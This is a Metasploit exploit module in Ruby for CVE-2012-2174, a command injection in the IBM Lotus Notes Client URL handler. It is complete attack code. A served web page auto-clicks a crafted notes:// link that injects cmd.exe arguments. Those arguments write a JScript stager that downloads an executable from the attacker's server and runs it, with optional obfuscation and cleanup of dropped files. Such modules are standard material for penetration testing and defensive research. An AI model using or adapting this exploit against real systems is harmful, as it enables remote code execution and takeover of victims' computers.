##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "IBM Lotus Notes Client URL Handler Command Injection",
        'Description' => %q{
          This module exploits a command injection vulnerability in the URL handler for
          for the IBM Lotus Notes Client <= 8.5.3. The registered handler can be abused with
          a specially crafted notes:// URL to execute arbitrary commands with also arbitrary
          arguments. This module has been tested successfully on Windows XP SP3 with IE8,
          Google Chrome 23.0.1271.97 m and IBM Lotus Notes Client 8.5.2.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Moritz Jodeit', # Vulnerability discovery
          'Sean de Regge', # Vulnerability analysis
          'juan vazquez' # Metasploit
        ],
        'References' => [
          [ 'CVE', '2012-2174' ],
          [ 'OSVDB', '83063' ],
          [ 'BID', '54070' ],
          [ 'ZDI', '12-154' ],
          [ 'URL', 'http://pwnanisec.blogspot.com/2012/10/exploiting-command-injection.html' ],
          [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21598348' ]
        ],
        'Payload' => {
          'Space' => 2048,
          'StackAdjustment' => -3500
        },
        'DefaultOptions' => {
          'EXITFUNC' => "none",
          'InitialAutoRunScript' => 'migrate -k -f'
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-06-18',
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
              stdapi_sys_config_getenv
            ]
          }
        }
      )
    )

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ]
    )
  end

  def exploit
    @exe_name = rand_text_alpha(2) + ".exe"
    @stage_name = rand_text_alpha(2) + ".js"
    super
  end

  def on_new_session(session)
    if session.type == "meterpreter"
      session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")

      @dropped_files.delete_if do |file|
        win_file = file.gsub("/", "\\\\")
        begin
          wintemp = session.sys.config.getenv('TEMP')
          win_file = "#{wintemp}\\#{win_file}"
          # Meterpreter should do this automatically as part of
          # fs.file.rm().  Until that has been implemented, remove the
          # read-only flag with a command.
          session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
          session.fs.file.rm(win_file)
          print_good("Deleted #{file}")
          true
        rescue ::Rex::Post::Meterpreter::RequestError
          print_error("Failed to delete #{win_file}")
          false
        end
      end
    end
  end

  def on_request_uri(cli, request)
    if request.uri =~ /\.exe$/
      return if ((p = regenerate_payload(cli)) == nil)

      register_file_for_cleanup("#{@stage_name}") unless @dropped_files and @dropped_files.include?("#{@stage_name}")
      register_file_for_cleanup("#{@exe_name}") unless @dropped_files and @dropped_files.include?("#{@exe_name}")
      data = generate_payload_exe({ :code => p.encoded })
      print_status("Sending payload")
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    if datastore['SSL']
      schema = "https"
    else
      schema = "http"
    end
    uri = "#{schema}://#{my_host}"
    uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6) + 3)}.exe"

    script = "var w=new ActiveXObject('wscript.shell');"
    script << "w.CurrentDirectory=w.ExpandEnvironmentStrings('\\%TEMP\\%');"
    script << "var x=new ActiveXObject('Microsoft.XMLHTTP');"
    script << "x.open('GET','#{uri}', false);"
    script << "x.send();"
    script << "var s=new ActiveXObject('ADODB.Stream');"
    script << "s.Mode=3;"
    script << "s.Type=1;"
    script << "s.Open();"
    script << "s.Write(x.responseBody);"
    script << "s.SaveToFile('#{@exe_name}',2);"
    script << "w.Run('#{@exe_name}');"

    vmargs = "/q /s /c echo #{script} > %TEMP%\\\\#{@stage_name}& start cscript %TEMP%\\\\#{@stage_name}& REM"

    link_id = rand_text_alpha(5 + rand(5))

    js_click_link = %Q|
    function clickLink(link) {
      var cancelled = false;

      if (document.createEvent) {
        var event = document.createEvent("MouseEvents");
        event.initMouseEvent("click", true, true, window,
          0, 0, 0, 0, 0,
          false, false, false, false,
          0, null);
        cancelled = !link.dispatchEvent(event);
      }
      else if (link.fireEvent) {
        cancelled = !link.fireEvent("onclick");
      }

      if (!cancelled) {
        window.location = link.href;
      }
    }
    |

    if datastore['OBFUSCATE']
      js_click_link = ::Rex::Exploitation::JSObfu.new(js_click_link)
      js_click_link.obfuscate(memory_sensitive: true)
      js_click_link_fn = js_click_link.sym('clickLink')
    else
      js_click_link_fn = 'clickLink'
    end

    html = <<-EOS
    <html>
    <head>
    <script>
    #{js_click_link}
    </script>
    </head>
    <body onload="#{js_click_link_fn}(document.getElementById('#{link_id}'));">
    <a id="#{link_id}" href="notes://#{rand_text_alpha_upper(3 + rand(3))}/#{rand_text_alpha_lower(3 + rand(3))} -RPARAMS java -vm c:\\windows\\system32\\cmd.exe -vmargs #{vmargs}"></a>
    </body>
    </html>
    EOS

    print_status("Sending html")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end
